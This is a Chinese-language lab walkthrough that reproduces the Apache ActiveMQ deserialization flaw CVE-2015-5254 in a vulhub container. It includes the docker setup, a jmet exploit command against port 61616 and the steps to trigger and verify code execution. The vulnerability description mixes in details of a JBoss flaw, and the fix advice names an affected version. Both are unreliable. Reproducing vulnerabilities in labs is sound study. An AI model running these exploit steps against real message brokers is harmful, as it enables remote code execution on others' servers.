ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞编号

CVE-2015-5254

漏洞描述

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞影响

Apache ActiveMQ 5.x ~ 5.13.0

漏洞利用

1.vulhub使用docker启动
cd /vulhub-master/activemq/CVE-2015-5254
docker-compose build
docker-compose up -d
2.环境搭建完毕访问8161web管理端口
业务端口：61616
用于生产消费数据
管理端口：8161
用于web端进行配置管理

3.kali中执行以下命令
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
mkdir external
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/1” -Yp ROME 192.168.239.129 61616

4.此时会给目标ActiveMQ添加一个名为event的队列
我们可以通过下面的URL看到这个队列中所有消息
http://192.168.13.132:8161/admin/browse.jsp?JMSDestination=event

5.点击此条队列详细进行触发

6.查看容器sudo docker-compose exec activemq bash，可见/tmp/1已成功创建，说明漏洞利用成功

7.关闭镜像
docker-compose down

加固建议

Apache升级activemq5.13.0